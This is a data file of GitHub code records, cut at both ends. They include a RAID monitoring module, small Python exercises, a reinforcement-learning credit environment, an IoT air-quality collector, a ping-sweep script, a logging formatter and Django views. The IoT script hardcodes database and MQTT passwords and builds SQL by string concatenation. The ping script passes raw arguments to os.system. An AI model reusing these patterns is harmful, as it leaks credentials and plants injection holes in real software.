\"\"\n                    # print _info, _ret_state, _result\n                    if _ret_state != limits.mon_STATE_OK:\n                        _ret_list.append(\"{}: {}\".format(_info, _result))\n                    else:\n                        if single_key:\n                            _ret_list.append(_result)\n                        if _entity_type != \"c\":\n                            # we ignore contoller checks because they are only dummy checks\n                            _ok_dict.setdefault(_entity_type, []).append(0)\n                    _g_ret_state = max(_g_ret_state, _ret_state)\n                # check for addendum tio passive_dict\n                if _short_output and _store_passive and _so_cache.valid:\n                    _passive_dict[\"list\"].append(_so_cache.get_passive_entry())\n            _ret_list = [_val for _val in _ret_list if _val.strip()]\n            if _short_output:\n                # pprint.pprint(_passive_dict)\n                r_list, shorten_dict = _shorten_list(r_list)\n                # passive lut\n                _pl = {_info: (_ret_state, _result) for _info, _ret_state, _result in _passive_dict[\"list\"]}\n                # rewrite the passive dict\n                for _key, _struct in shorten_dict.items():\n                    # pprint.pprint(_struct)\n                    # local state list\n                    _lss = [list(_pl[_info]) + [_info] for _info in _struct[\"infos\"]]\n                    # remove from passive_dict.list\n                    _passive_dict[\"list\"] = [(_a, _b, _c) for _a, _b, _c in _passive_dict[\"list\"] if _a not in _struct[\"infos\"]]\n                    # add summed result\n                    _passive_dict[\"list\"].append(_generate_short_result(_key, _struct, _lss))\n                # pprint.pprint(_passive_dict)\n            # pprint.pprint(_passive_dict)\n            if _store_passive:\n                ascii_chunk = server_command.compress(_passive_dict, json=True)\n            else:\n                ascii_chunk = \"\"\n            # print _ret_list, _ok_dict\n            if _ok_dict:\n                _num_ok = sum([len(_val) for _val in _ok_dict.values()])\n                if _num_ok == 1 and single_key:\n                    pass\n                else:\n                    _ret_list.append(\n                        \"{}: {}\".format(\n                            logging_tools.get_plural(\"OK check\", _num_ok),\n                            \", \".join(\n                                [\n                                    logging_tools.get_plural(_expand_key(_key), len(_val)) for _key, _val in _ok_dict.items()\n                                ]\n                            )\n                        )\n                    )\n            # pprint.pprint(_ret_list)\n            return ExtReturn(_g_ret_state, \", \".join(_ret_list), ascii_chunk=ascii_chunk)\n\n    @staticmethod\n    def _dummy_hints():\n        return [(\"\", \"all\", \"SAS Controllers\", True), ]\n\n\nclass megaraid_sas_status_command(hm_classes.MonitoringCommand):\n    class Meta:\n        required_platform = PlatformSystemTypeEnum.LINUX\n        required_access = HMAccessClassEnum.level0\n        uuid = \"e27fe0c5-35f2-49b8-bbaa-37dba6d21387\"\n        description = \"Check status of RaidControllers via megarc command\"\n\n    def __init__(self, name):\n        self.__cache = {}\n        hm_classes.MonitoringCommand.__init__(self, name)\n        self.parser.add_argument(\"--get-hints\", dest=\"get_hints\", default=False, action=\"store_true\")\n        self.parser.add_argument(\"--key\", default=\"\", type=str)\n        self.parser.add_argument(\"--check\", default=\"all\", type=str)\n        self.parser.add_argument(\"--passive-check-prefix\", default=\"-\", type=str)\n        self.parser.add_argument(\"--short-output\", default=\"0\", type=str)\n        self.parser.add_argument(\"--ignore-missing-bbu\", default=\"0\", type=str)\n        # which keys to ignore\n        self.parser.add_argument(\"--ignore-keys\", default=\"N\", type=str)\n        self.parser.add_argument(\"--controller\", default=\"all\", type=str)\n\n    def __call__(self, srv_com, cur_ns):\n        ctrl_type.update(\"megaraid_sas\")\n        _ctrl = ctrl_type.ctrl(\"megaraid_sas\")\n        if _ctrl.update_ok(srv_com):\n            return ctrl_check_struct(self.log, srv_com, _ctrl, [])\n\n    def interpret(self, srv_com, cur_ns):\n        # also done in special_megaraid_sas\n        ctrl_dict = {}\n        for res in srv_com[\"result\"]:\n            ctrl_dict[int(res.tag.split(\"}\")[1].split(\"_\")[-1])] = srv_com._interpret_el(res)\n        return self._interpret(ctrl_dict, cur_ns)\n\n    def interpret_old(self, result, cur_ns):\n        ctrl_dict = hm_classes.net_to_sys(result[3:])\n        return self._interpret(ctrl_dict, cur_ns)\n\n    def _interpret(self, ctrl_dict, cur_ns):\n        return ctrl_type.ctrl_class(\"megaraid_sas\")._interpret(ctrl_dict, cur_ns)\n","repo_name":"walong365/icsw","sub_path":"initat/host_monitoring/modules/raidcontrollers/megaraid.py","file_name":"megaraid.py","file_ext":"py","file_size_in_byte":37567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"}
+{"seq_id":"20683750057","text":"\"\"\"[Exercício 3] Escreva um programa que o user\r\ndigite 5 valores numéricos e cadastre-os em\r\numa lista, já na posição correta de inserção\r\n(SEM USAR O sort()). No final, mostre a lista ordenada na tela.\"\"\"\r\n\r\n# EXERCICIO 3\r\nvalores = list()\r\nfor i in range(0, 5):\r\n    valor = int(input(\"Digite um valor: \"))\r\n    if i == 0 or valor > valores[-1]:\r\n        valores.append(valor)\r\n        print(\"Adicionado ao final da lista.\")\r\n    else:\r\n        posicao = 0\r\n        while posicao < len(valores):\r\n            if valor <= valores[posicao]:\r\n                valores.insert(posicao, valor)\r\n                print(f\"Adicionado na posição {posicao} da lista.\")\r\n                break\r\n            posicao += 1\r\nprint(valores)\r\n","repo_name":"tauantorres/Python","sub_path":"Program/Aula 10/Ex003.py","file_name":"Ex003.py","file_ext":"py","file_size_in_byte":734,"program_lang":"python","lang":"pt","doc_type":"code","stars":2,"dataset":"github-code","pt":"5"}
+{"seq_id":"39539401991","text":"'''\r\nSimulationEnv class is built on top of gym environment class to define\r\nstate and action spaces and set up the state-action-reward exchange between\r\nthe agent and the environment classes.\r\n'''\r\n\r\n# import external packages\r\nimport gym\r\nfrom gym import spaces\r\nfrom gym.utils import seeding\r\nimport numpy as np\r\n\r\n# import internal classes\r\nfrom environment import Environment \r\n\r\nclass SimulationEnv(gym.Env):\r\n    # initialize environment instance and define state and action spaces\r\n    def __init__(self, action_type = 'discrete_action', reward_type = 'real', window = 4, cheating = False, reward_scaler = 1, distortions = {'e': 1, 'news_positives_score_bias': 0, 'repeats_positives_score_bias': 0, 'news_negatives_score_bias': 0, 'repeats_negatives_score_bias': 0, 'news_default_rate_bias': 0, 'repeats_default_rate_bias': 0, 'late_payment_rate_bias': 0, 'ar_effect': 0}):\r\n        self.action_type = action_type\r\n        self.reward_type = reward_type\r\n        self.window = window\r\n        self.cheating = cheating\r\n        self.reward_scaler = reward_scaler\r\n        self.distortions = distortions\r\n        self.env = Environment(action_type = self.action_type, reward_type = self.reward_type, window = self.window, cheating = self.cheating, reward_scaler = self.reward_scaler, distortions = self.distortions)\r\n        #['Moving acceptance rate', 'Moving default to paid ratio']\r\n        high = np.array([1])\r\n        low = np.array([0])\r\n    \r\n        self.observation_space = spaces.Box(low, high)\r\n        \r\n        if(self.action_type == 'discrete_change'):\r\n            self.action_space = spaces.Discrete(5)\r\n        elif(self.action_type == 'discrete_action'):\r\n            self.action_space = spaces.Discrete(20)\r\n        elif(self.action_type == 'continuous_change'):\r\n            self.min_action = -10\r\n            self.max_action = 10\r\n            self.action_space = spaces.Box(self.min_action, self.max_action, shape = (1,))\r\n        elif(self.action_type == 'continuous_action'):\r\n            self.min_action = 5\r\n            self.max_action = 100\r\n            self.action_space = spaces.Box(self.min_action, self.max_action, shape = (1,))\r\n        elif(self.action_type == 'discrete_action_separate'):\r\n            self.action_space = spaces.Discrete(100)\r\n        elif(self.action_type == 'discrete_change_separate'):\r\n            self.action_space = spaces.Discrete(25)\r\n\r\n        self._seed()\r\n        self.viewer = None\r\n        self.state = None\r\n\r\n        self.steps_beyond_done = None\r\n        \r\n    # set random seed\r\n    def _seed(self, seed=None):\r\n        self.np_random, seed = seeding.np_random(seed)\r\n        return [seed]\r\n\r\n    # step through the episode\r\n    def _step(self, action):\r\n\r\n        if(self.action_type == 'discrete_change'):\r\n            assert self.action_space.contains(action), \"%r (%s) invalid\"%(action, type(action))\r\n            action = self.env.convert_to_real_action(action)\r\n        elif(self.action_type == 'discrete_action'):\r\n            assert self.action_space.contains(action), \"%r (%s) invalid\"%(action, type(action))\r\n            action = self.env.convert_to_real_action(action)\r\n            \r\n        self.env.take_action(action)\r\n        self.state = self.env.state\r\n        reward = self.env.reward\r\n        done = 1 if self.env.iteration == 135 else 0                # finish the episode when all the delayed rewards are learned\r\n\r\n        return np.array(self.state), reward, done, {}\r\n\r\n    # reset the environment\r\n    def _reset(self):\r\n        self.env.run_iterations(iterations = 53, output = False)    # skip the warming-up phase of the simulation\r\n        self.state = self.env.state\r\n        return np.array(self.state)\r\n","repo_name":"MykolaHerasymovych/Optimizing-Acceptance-Threshold-in-Credit-Scoring-using-Reinforcement-Learning","sub_path":"Source/simulation.py","file_name":"simulation.py","file_ext":"py","file_size_in_byte":3709,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"5"}
+{"seq_id":"5941888501","text":"\"\"\"\nЗадание_8. Матрица 5x4 заполняется вводом с клавиатуры кроме последних элементов строк.\nПрограмма должна вычислять сумму введенных элементов каждой строки\nи записывать ее в последнюю ячейку строки.\nВ конце следует вывести полученную матрицу.\n\n1-я строка:\n3\n3\n3\n3\n2-я строка:\n3\n3\n3\n3\n3-я строка:\n3\n3\n3\n3\n4-я строка:\n3\n3\n3\n3\n5-я строка:\n3\n3\n3\n3\n\n[3, 3, 3, 3, 12]\n[3, 3, 3, 3, 12]\n[3, 3, 3, 3, 12]\n[3, 3, 3, 3, 12]\n[3, 3, 3, 3, 12]\n\"\"\"\nROW_COUNT = 0\nCOLUMN_COUNT = 0\nUSER_ARRAY = []\n\nprint('Заполните матрицу целыми числами')\n\nwhile ROW_COUNT < 5:\n    COLUMN_COUNT = 0\n    ROW_ARRAY = []\n    print(f'{ROW_COUNT + 1}-я строка')\n    while COLUMN_COUNT < 4:\n        try:\n            ROW_ARRAY.append(int(input()))\n            COLUMN_COUNT += 1\n        except ValueError:\n            print('Введенное значение не является числом')\n    ROW_ARRAY.append(sum(ROW_ARRAY))\n    USER_ARRAY.append(ROW_ARRAY)\n    ROW_COUNT += 1\n\nfor elem in USER_ARRAY:\n    print(elem)\n","repo_name":"ElenaAn12/GBLearning","sub_path":"Algo/less3/task_8.py","file_name":"task_8.py","file_ext":"py","file_size_in_byte":1263,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"}
+{"seq_id":"3449062813","text":"#!/usr/local/bin/python3\nimport pymysql\nimport os\nimport requests\nimport aqi\nimport time\nimport paho.mqtt.client as mqtt\nimport paho.mqtt.publish as publish\n\nconn = pymysql.connect(host='mysql-db', user='root', passwd='MySQL@2014', db='surin')\ncurr = conn.cursor()\n\ndef air_data(air_station_id,station_id):\n\n    ugm3 = None\n    aqid = None\n    temp = None\n    pressure = None\n    humidity = None\n\n    air_uri = \"http://api.surin.info/getdata/pm_lastone/node=\"+str(station_id)\n    rs = requests.get(air_uri)\n    print(rs.status_code,\" => \",air_uri)\n\n    if rs.status_code == 200:\n        data = rs.json()\n        if len(data) > 0:\n            try:\n                v = data[0]\n                ugm3 = float(v['pm25_val'])\n                aqid = aqi.to_iaqi(aqi.POLLUTANT_PM25, ugm3, algo=aqi.ALGO_EPA)\n            except:\n                print(\"AQI error occured!\")\n            #print(station_id, pm25,pm25_aqi)\n            #sql = \"INSERT INTO `surin`.`env_air_quality` (`env_air_station_id`, `ugm3`, `aqi`) VALUES ('\"+str(air_station_id)+\"', '\"+str(pm25)+\"', '\"+str(pm25_aqi)+\"');\"\n            #sql = \"INSERT INTO `surin`.`trn_iot_data` (`mas_iot_device_id`, `ugm3`, `aqi`) VALUES ('\"+str(air_station_id)+\"', '\"+str(pm25)+\"', '\"+str(pm25_aqi)+\"');\"\n            #curr = conn.cursor()\n            #curr.execute(sql)\n            #conn.commit()\n\n    temp_uri = \"http://api.surin.info/getdata/temp_lastone/node=\"+str(station_id)\n    trs = requests.get(temp_uri)\n    print(trs.status_code,\"=>\", temp_uri)\n    if trs.status_code == 200:\n        data = trs.json()\n        if len(data) > 0:\n            try:\n                #print(data)\n                v = data[0]\n                temp = float(v['temp_val'])\n                pressure = float(v['pressure_val'])\n                humidity = float(v['humidity_val'])\n            except:\n                print(\"Temp error occured!\")\n\n    print(ugm3, aqid, temp, pressure, humidity)\n\n    if ugm3 is not None or aqid is not None or temp is not None or pressure is not None or humidity is not None:\n        try:\n            sql = \"INSERT INTO `surin`.`trn_iot_data` (`mas_iot_device_id`, `dht_humidity`, `dht_temperature`, `ugm3`, `aqi`, `pressure`) VALUES ('\"+str(air_station_id)+\"', '\"+str(humidity)+\"', '\"+str(temp)+\"', '\"+str(ugm3)+\"', '\"+str(aqid)+\"','\"+str(pressure)+\"');\"\n            print(sql)\n            curr = conn.cursor()\n            curr.execute(sql)\n            conn.commit()\n            print('data inserted!')\n            if temp is not None:\n                topic = \"/srru/temp/\"+str(air_station_id)\n                publish_data(topic,temp)\n            if humidity is not None:\n                topic = \"/srru/humid/\"+str(air_station_id)\n                publish_data(topic,humidity)\n            if ugm3 is not None:\n                topic = \"/srru/ugm3/\"+str(air_station_id)\n                publish_data(topic,ugm3)\n            if aqid is not None:\n                topic = \"/srru/aqi/\"+str(air_station_id)\n                #publish_data(topic,aqid)\n\n        except:\n            print(\"insert error occured!!\")\n\ndef publish_data(topic,value):\n    print(\"publishing .. \",topic,\" : \",value)\n    try:\n        publish.single(topic, payload=value, qos=0, retain=False, hostname=\"mqtt.srru.ac.th\",\n        port=1883, client_id=\"\", keepalive=60, will=None, auth= {'username':\"miot\", 'password':\"SrruMIoT@2019\"}, tls=None,\n        protocol=mqtt.MQTTv311, transport=\"tcp\")\n    except:\n        print(\"Failed to publish \", topic,\" : \",value)\n\n    time.sleep(1)\n\ndef air_stations():\n\trs = curr.execute(\"SELECT * FROM surin.env_air_stations;\")\n\tprint(rs)\n\tif rs > 0:\n\t\tfor row in curr:\n\t\t\tprint(row[0],row[5])\n\t\t\tair_data(row[0],row[5])\n\t\t\ttime.sleep(1)\n\nif __name__ == '__main__':\n    #testMqtt()\n    air_stations()\n","repo_name":"january20/rajabhat_bigdata","sub_path":"cron/sbin/surindata3.py","file_name":"surindata3.py","file_ext":"py","file_size_in_byte":3749,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"}
+{"seq_id":"23372830262","text":"from pytorch_lightning import Trainer\nfrom pytorch_lightning.loggers import TensorBoardLogger\nfrom argparse import ArgumentParser\nfrom omegaconf import OmegaConf\nfrom pathlib import Path\nimport os\n\nfrom meshgen_utils import utils\nfrom models import MeshRefineGCN, MeshRefinePN, CondenseMesh\n\nproject_root = Path(__file__).absolute().parent\n\ndef main(args):\n    hp = OmegaConf.load(args.config)\n\n    train_name = \"%s_%s\" % (hp.model.name.upper(), Path(hp.data.file).stem)\n    logger = TensorBoardLogger('logs/', name=train_name)\n    logger.log_hyperparams(OmegaConf.to_container(hp))\n\n    if hp.model.name == 'gcn':\n        net = MeshRefineGCN(hp)\n    elif hp.model.name == 'pn':\n        net = MeshRefinePN(hp)\n    elif hp.model.name == 'zero':\n        net = CondenseMesh(hp)\n    else:\n        raise ValueError(\"Invalid model name: %s\" % hp.model.name)\n\n    trainer = Trainer(\n        logger=logger,\n        max_epochs=args.max_epochs,\n        gpus=-1,\n        default_root_dir='logs')\n    trainer.fit(net)\n    \n    mesh, pcd = net.current_mesh, net.source_pcd\n    if hp.model.name != 'zero':\n        net.get_loss.show(mesh)\n    utils.show_overlay(mesh, pcd)\n    utils.save_result(os.path.join(logger.log_dir, 'objects'), -1, mesh, pcd)\n    print(\"Done!\")\n\n\nif __name__ == \"__main__\":\n    parser = ArgumentParser()\n    parser.add_argument('--config', type=str, default='config/test.yaml')\n    parser.add_argument('--max_epochs', type=int, default=10000)\n    # checkpoint\n\n    args = parser.parse_args()\n    main(args)","repo_name":"Diuven/meshgen","sub_path":"trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":1516,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"5"}
+{"seq_id":"31881719716","text":"last_max = -1\r\nmax_row = -1\r\nmax_column = -1\r\nfor row in range(1,10):\r\n    line_list = list(map(int, input().split()))\r\n    curr_max = max(line_list)\r\n    if(last_max < curr_max):\r\n        column = line_list.index(curr_max)+1\r\n        max_row = row\r\n        max_column = column\r\n        last_max = curr_max\r\nprint(last_max)\r\nprint(max_row, max_column)","repo_name":"hexaspace/BOJ-python-algorithm","sub_path":"백준/Bronze/2566. 최댓값/최댓값.py","file_name":"최댓값.py","file_ext":"py","file_size_in_byte":351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"}
+{"seq_id":"23714245061","text":"#Example: python3 script.py 192.168.1 1 10\nimport sys\nimport os\n\nnetwork=str(sys.argv[1])\nstart=int(sys.argv[2])\nstop=int(sys.argv[3])\nstop+=1\n\nfor x in range(start, stop, 1):\n    lastOctet=str(x)\n    ip=(str(network+\".\"+lastOctet))\n    response = os.system(\"ping -c 1 -W 1 \" + ip + \"> /dev/null\")\n    if response == 0:\n      print (str(ip))\n","repo_name":"lucidelirium/py","sub_path":"pingScan.py","file_name":"pingScan.py","file_ext":"py","file_size_in_byte":342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"}
+{"seq_id":"13179180083","text":"import logging\nimport logging.config\nimport re\nimport sys\nfrom pprint import pformat\n\nfrom logging_utilities.formatters import RECORD_DFT_ATTR\n\nif sys.version_info < (3, 2):\n    raise ImportError('Only python 3.2 and above are supported')\n\n# parse the format to retrieve all key e.g. \"%(message)s %(module)s\" => ['message', 'module']\nKEYS_PATTERN = r'%\\((\\w+)\\)[#0\\- \\+]?(?:\\d+|\\*)?(?:\\.\\d+|\\.\\*)?\\d*[diouxXeEfFgGcrsa]'\n\n\nclass ExtraFormatter(logging.Formatter):\n    \"\"\"Logging Extra Formatter\n\n    This formatter enhance the python standard formatter to allow working with the log `extra`.\n    The python standard formatter will raise a ValueError() when adding extra keyword in the format\n    when this keyword is then missing from log record. This means that if you want to display a log\n    extra, you have to make sure that every log message contains this extra.\n\n    This formatter allow you to provide an `extra_fmt` parameter that will add record extra to the\n    log message when available. You can either add the entire extra dictionary: `extra_fmt='%s'` or\n    only some extras: `extra_fmt='%(extra1)s:%(extra2)s'`. In the latest case, when a key is missing\n    in extra, the value is replaced by `extra_default`.\n    When using the whole `extra` dictionary, you can use `extra_pretty_print` to improve the\n    formatting, note that in this case the log might be on multiline (this use pprint.pformat).\n    \"\"\"\n\n    def __init__(\n        self,\n        fmt=None,\n        datefmt=None,\n        style='%',\n        validate=True,\n        extra_fmt=None,\n        extra_default='',\n        extra_pretty_print=False,\n        pretty_print_kwargs=None\n    ):\n        '''\n        Initialize the formatter with specified format strings.\n\n        Initialize the formatter either with the specified format string, or a default as described\n        in logging.Formatter.\n\n        Args:\n            extra_fmt: string\n                String format (old percent style only) for log extras. This can be used for instance\n                to automatically add all extras, e.g: `extra_fmt='extras=%s'` or to add only some\n                extra: `extra_fmt='%(extra1)s:%(extra2)s'`\n            extra_default: any\n                Default value to use for missing extra in record\n            extra_pretty_print: boolean\n                Set to true to use pprint.pformat on the extra dictionary\n        '''\n        super().__init__(fmt=fmt, datefmt=datefmt, style=style)\n        self._fmt_keys = re.findall(KEYS_PATTERN, fmt)\n        self.extra_fmt = extra_fmt\n        self._extras_keys = re.findall(KEYS_PATTERN, self.extra_fmt if self.extra_fmt else '')\n        self._default = extra_default\n        self._extra_pretty_print = extra_pretty_print\n        self._pretty_print_kwargs = pretty_print_kwargs if pretty_print_kwargs is not None else {}\n\n    def formatMessage(self, record):\n        message = self._style.format(record)\n        if self.extra_fmt:\n            extra_keys = set(record.__dict__.keys()) - RECORD_DFT_ATTR - set(self._fmt_keys)\n            extras = {key: getattr(record, key) for key in extra_keys}\n            if extras:\n                missing_keys = set(self._extras_keys) - set(extras.keys())\n                extras.update({key: self._default for key in missing_keys})\n                if self._extra_pretty_print:\n                    try:\n                        message = '%s%s' % (\n                            message, self.extra_fmt % pformat(extras, **self._pretty_print_kwargs)\n                        )\n                    except TypeError as err:\n                        if err.args[0] == 'format requires a mapping':\n                            raise ValueError(\n                                'Cannot use extra_pretty_print with named placeholder'\n                            ) from err\n                        raise err\n                else:\n                    message = '%s%s' % (message, self.extra_fmt % extras)\n        return message\n","repo_name":"geoadmin/lib-py-logging-utilities","sub_path":"logging_utilities/formatters/extra_formatter.py","file_name":"extra_formatter.py","file_ext":"py","file_size_in_byte":3962,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"5"}
+{"seq_id":"28271075288","text":"import json\nfrom django.views.generic import ListView\nfrom django.contrib.auth.decorators import login_required\nfrom django.shortcuts import render, redirect\nfrom django.http import JsonResponse\nfrom dataset import models, forms\n\n\nfrom django.http import HttpResponse\nfrom django.contrib import messages\nfrom django.contrib.messages.views import SuccessMessageMixin\nfrom django.urls import reverse_lazy\nfrom django.views.generic import UpdateView\n\nfrom django.contrib.auth.models import User\nfrom django.contrib import auth\n\n\n# Create your views here.\n\ndef tpc_dashboard(request):\n    context = {'title': 'Shipment',\n               'nav_bar': 'dashboard',\n               }\n    return render(request, 'dashboard.html', context)\n\n\ndef context_data(request):\n    fullpath = request.get_full_path()\n    abs_uri = request.build_absolute_uri()\n    abs_uri = abs_uri.split(fullpath)[0]\n    context = {\n        'system_host' : abs_uri,\n        'page_name' : '',\n        'nav_bar' : '',\n        'system_name' : 'Tpc',\n        'system_short_name' : 'Tpc',\n        'topbar' : True,\n        'footer' : True,\n    }\n\n    return context\n\n\ndef continent(request):\n    context = context_data(request)\n    context['title'] = 'Continent'\n    context['nav_bar'] = \"continent_list\"\n    context['continents'] = models.Continent.objects.all()\n    return render(request, 'continent.html', context)\n\n\ndef new_continent(request):\n    template_name = 'new_continent.html'\n\n    if request.method == 'GET':\n        print(\"called GET\")\n        continent_form = forms.ContinentCreateForm(request.GET or None)\n\n    elif request.method == 'POST':\n        print(\"called POST\")\n        print(request.POST)\n        continent_form = forms.ContinentCreateForm(request.POST)\n\n        if continent_form.is_valid():\n            obj = continent_form.save(commit=False)\n            obj.author = request.user\n            obj.is_active = True\n            obj.save()\n            messages.add_message(request, messages.SUCCESS, 'New Continent Added Successfully!')\n            return redirect('continent-page')\n\n        else:\n            print(\"Not Valid Create Form\")\n            print(continent_form.errors)\n\n    return render(request, template_name, {\n        'continent_form': continent_form,\n        'title': 'New Continent',\n        'nav_bar': 'new_continent',\n    })\n\n\nclass ContinentUpdateView(SuccessMessageMixin, UpdateView):\n    model = models.Continent\n    form_class = forms.ContinentCreateForm\n    success_url = reverse_lazy('continent-page')\n    template_name = 'update_continent.html'\n    success_message = \"Country was updated successfully\"\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"title\"] = \"Update Continent Information\"\n        context[\"nav_bar\"] = \"continent_list\"\n        return context\n\n\ndef delete_continent(request, id):\n    if request.method == 'GET':\n        instance = models.Continent.objects.get(id=id)\n        models.Continent.objects.filter(id=instance.id).delete()\n        instance.delete()\n        messages.add_message(request, messages.WARNING, 'Delete Success')\n        return redirect('continent-page')\n\n\ndef country(request):\n    context = context_data(request)\n    context['title'] = 'Country'\n    context['nav_bar'] = \"country_list\"\n    context['country'] = models.Country.objects.all()\n    return render(request, 'country.html', context)\n\n\ndef save_country(request):\n    resp = { 'status': 'failed', 'msg' : '' }\n    if request.method == 'POST':\n        post = request.POST\n        if not post['id'] == '':\n            country = models.Country.objects.get(id=post['id'])\n            form = forms.CountryCreateForm(request.POST, instance=country)\n        else:\n            form = forms.CountryCreateForm(request.POST)\n\n        if form.is_valid():\n            form.save()\n            if post['id'] == '':\n                messages.success(request, \"Country has been saved successfully.\")\n            else:\n                messages.success(request, \"Country has been updated successfully.\")\n            resp['status'] = 'success'\n        else:\n            for field in form:\n                for error in field.errors:\n                    if not resp['msg'] == '':\n                        resp['msg'] += str('
')\n resp['msg'] += str(f'[{field.name}] {error}')\n else:\n resp['msg'] = \"There's no data sent on the request\"\n\n return HttpResponse(json.dumps(resp), content_type=\"application/json\")\n\n\ndef manage_country(request, pk=None):\n context = context_data(request)\n context['title'] = 'manage_country'\n context['nav_bar'] = 'manage_country'\n context['continents'] = models.Continent.objects.all()\n if pk is None:\n context['country'] = {}\n else:\n context['country'] = models.Country.objects.get(id=pk)\n\n return render(request, 'manage_country.html', context)\n\n\ndef delete_country(request, id):\n if request.method == 'GET':\n instance = models.Country.objects.get(id=id)\n models.Country.objects.filter(id=instance.id).delete()\n instance.delete()\n messages.add_message(request, messages.WARNING, 'Delete Success')\n return redirect('country-page')\n\n\ndef weight(request):\n context = context_data(request)\n context['title'] = 'Weight'\n context['nav_bar'] = \"weight_list\"\n context['weights'] = models.Weight.objects.all()\n return render(request, 'weight.html', context)\n\n\ndef new_weight(request):\n template_name = 'new_weight.html'\n\n if request.method == 'GET':\n print(\"called GET\")\n weight_form = forms.WeightCreateForm(request.GET or None)\n\n elif request.method == 'POST':\n print(\"called POST\")\n print(request.POST)\n weight_form = forms.WeightCreateForm(request.POST)\n\n if weight_form.is_valid():\n obj = weight_form.save(commit=False)\n obj.author = request.user\n obj.is_active = True\n obj.save()\n messages.add_message(request, messages.SUCCESS, 'New Weight Added Successfully!')\n return redirect('weight-page')\n\n else:\n print(\"Not Valid Create Form\")\n print(weight_form.errors)\n\n return render(request, template_name, {\n 'weight_form': weight_form,\n 'title': 'New Weight',\n 'nav_bar': 'new_weight',\n })\n\n\nclass WeightUpdateView(SuccessMessageMixin, UpdateView):\n model = models.Weight\n form_class = forms.WeightCreateForm\n success_url = reverse_lazy('weight-page')\n template_name = 'update_weight.html'\n success_message = \"Weight was updated successfully\"\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context[\"title\"] = \"Update Weight Information\"\n context[\"nav_bar\"] = \"weight_list\"\n return context\n\n\ndef delete_weight(request, id):\n if request.method == 'GET':\n instance = models.Weight.objects.get(id=id)\n models.Weight.objects.filter(id=instance.id).delete()\n instance.delete()\n messages.add_message(request, messages.WARNING, 'Delete Success')\n return redirect('weight-page')\n\n\ndef zone(request):\n context = context_data(request)\n context['title'] = 'Zone'\n context['nav_bar'] = \"zone_list\"\n context['zones'] = models.Zone.objects.all()\n return render(request, 'zone.html', context)\n\n\ndef new_zone(request):\n template_name = 'new_zone.html'\n\n if request.method == 'GET':\n print(\"called GET\")\n zone_form = forms.ZoneCreateForm(request.GET or None)\n\n elif request.method == 'POST':\n print(\"called POST\")\n print(request.POST)\n zone_form = forms.ZoneCreateForm(request.POST)\n\n if zone_form.is_valid():\n obj = zone_form.save(commit=False)\n obj.author = request.user\n obj.is_active = True\n obj.save()\n messages.add_message(request, messages.SUCCESS, 'New Zone Added Successfully!')\n return redirect('zone-page')\n\n else:\n print(\"Not Valid Create Form\")\n print(zone_form.errors)\n\n return render(request, template_name, {\n 'zone_form': zone_form,\n 'title': 'New Zone',\n 'nav_bar': 'new_zone',\n })\n\n\nclass ZoneUpdateView(SuccessMessageMixin, UpdateView):\n model = models.Zone\n form_class = forms.ZoneCreateForm\n success_url = reverse_lazy('zone-page')\n template_name = 'update_zone.html'\n success_message = \"Zone was updated successfully\"\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context[\"title\"] = \"Update Zone Information\"\n context[\"nav_bar\"] = \"zone_list\"\n return context\n\n\ndef delete_zone(request, id):\n if request.method == 'GET':\n instance = models.Zone.objects.get(id=id)\n models.Zone.objects.filter(id=instance.id).delete()\n instance.delete()\n messages.add_message(request, messages.WARNING, 'Delete Success')\n return redirect('zone-page')\n\n\ndef dollar_rate(request):\n context = context_data(request)\n context['title'] = 'Dollar Rate'\n context['nav_bar'] = \"dollar_rate\"\n context['rates'] = models.DollarRate.objects.all()\n return render(request, 'dollar_rate.html', context)\n\n\nclass DollarRateUpdateView(SuccessMessageMixin, UpdateView):\n model = models.DollarRate\n form_class = forms.DollarRateForm\n success_url = reverse_lazy('dollar-rate')\n template_name = 'update_dollar_rate.html'\n success_message = \"Dollar Rate was updated successfully\"\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context[\"title\"] = \"Update Dollar Rate Amount\"\n context[\"nav_bar\"] = \"dollar_rate\"\n return context\n\n\ndef courier(request):\n context = context_data(request)\n context['title'] = 'Courier'\n context['nav_bar'] = \"courier_list\"\n context['couriers'] = models.Courier.objects.all()\n return render(request, 'courier.html', context)\n\n\ndef new_courier(request):\n template_name = 'new_courier.html'\n\n if request.method == 'GET':\n print(\"called GET\")\n courier_form = forms.CourierCreateForm(request.GET or None)\n\n elif request.method == 'POST':\n print(\"called POST\")\n print(request.POST)\n courier_form = forms.CourierCreateForm(request.POST)\n\n if courier_form.is_valid():\n obj = courier_form.save(commit=False)\n obj.author = request.user\n obj.is_active = True\n obj.save()\n messages.add_message(request, messages.SUCCESS, 'New Courier Added Successfully!')\n return redirect('courier-page')\n\n else:\n print(\"Not Valid Create Form\")\n print(courier_form.errors)\n\n return render(request, template_name, {\n 'courier_form': courier_form,\n 'title': 'New Courier',\n 'nav_bar': 'new_courier',\n })\n\n\nclass CourierUpdateView(SuccessMessageMixin, UpdateView):\n model = models.Courier\n form_class = forms.CourierCreateForm\n success_url = reverse_lazy('courier-page')\n template_name = 'update_courier.html'\n success_message = \"Courier was updated successfully\"\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context[\"title\"] = \"Update Courier Information\"\n context[\"nav_bar\"] = \"courier_list\"\n return context\n\n\ndef delete_courier(request, id):\n if request.method == 'GET':\n instance = models.Courier.objects.get(id=id)\n models.Courier.objects.filter(id=instance.id).delete()\n instance.delete()\n messages.add_message(request, messages.WARNING, 'Delete Success')\n return redirect('courier-page')\n\n\ndef service_provider(request):\n context = context_data(request)\n context['title'] = 'Service Provider'\n context['nav_bar'] = \"service_provider_list\"\n context['services'] 